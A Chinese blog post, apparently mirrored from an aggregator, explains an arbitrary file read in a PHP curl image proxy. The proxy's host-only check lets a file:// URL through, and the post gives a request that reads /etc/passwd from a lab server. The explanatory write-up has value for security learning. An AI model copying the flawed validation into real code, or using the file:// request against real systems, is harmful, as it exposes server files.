美文网首页
curl_exec--任意文件读取

curl_exec--任意文件读取

作者: ch3ckr | 来源:发表于2017-11-30 00:11 被阅读136次

    今天看到一段代码,如下,主要是使用curl发起网络请求然后返回客户端,这里我请求加载图片。

    <?php
      $URL = $_GET['URL'];
      $info = parse_url($URL);
      if($info['host'] != '192.168.224.130')
      {
      echo '目标网址不合法';
      exit;
      }
      $CH = curl_init();
      curl_setopt($CH, CURLOPT_URL, $URL);
      curl_setopt($CH, CURLOPT_HEADER, false);
      curl_setopt($CH, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($CH, CURLOPT_FOLLOWLOCATION, true);// 允许302跳转,默认不开启
      $RES = curl_exec($CH);
      header('CONTENT-TYPE: IMAGE/PNG');// 设置CONTENT-TYPE
      curl_close($CH) ;
      echo $RES;
    ?>
    

    首先,这里parse_url只是负责字符串解析,并不判断协议真伪,如以下例子。

    <?php
    $url = 'abc://www.baidu.com/test';
    $info = parse_url($url);
    var_dump($info);
    ?>
    

    执行后结果如下:

    array(3) {
      ["scheme"]=>
      string(3) "abc"
      ["host"]=>
      string(13) "www.baidu.com"
      ["path"]=>
      string(5) "/test"
    }
    
    其次,curl支持file伪协议,利用file伪协议可以获取本地文件系统

    直接上攻击测试例子:

    http://192.168.224.130/1.php?URL=file://192.168.224.130/etc/passwd
    

    php curl识别出来这是个file协议,他会忽略192.168.224.130,而是直接读取文件/etc/passwd。

    reference
    1.https://love.ranshy.com/file协议可能会引发的漏洞
    2.https://zhuanlan.zhihu.com/p/27898202
    3.http://vinc.top/2016/11/22/【ssrf】绕过姿势总结/
    4.http://www.cnblogs.com/LittleHann/p/3665062.html

    相关文章

      网友评论

          本文标题:curl_exec--任意文件读取

          本文链接:https://www.haomeiwen.com/subject/tmhmbxtx.html